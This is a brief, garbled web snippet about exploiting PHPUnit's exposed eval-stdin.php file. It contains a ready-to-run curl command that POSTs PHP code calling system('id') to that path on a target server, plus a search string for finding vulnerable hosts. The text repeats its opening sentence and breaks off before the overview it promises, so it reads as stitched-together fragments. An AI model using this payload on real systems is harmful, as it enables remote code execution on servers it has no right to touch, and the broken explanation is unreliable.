Even without directory listing, an attacker can guess or brute-force the path if Composer’s autoloader is exposed.
curl -X POST --data "<?php system('id'); ?>" http://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php index of vendor phpunit phpunit src util php eval-stdin.php
Here is a high-level overview of how the eval-stdin.php script works: Even without directory listing, an attacker can guess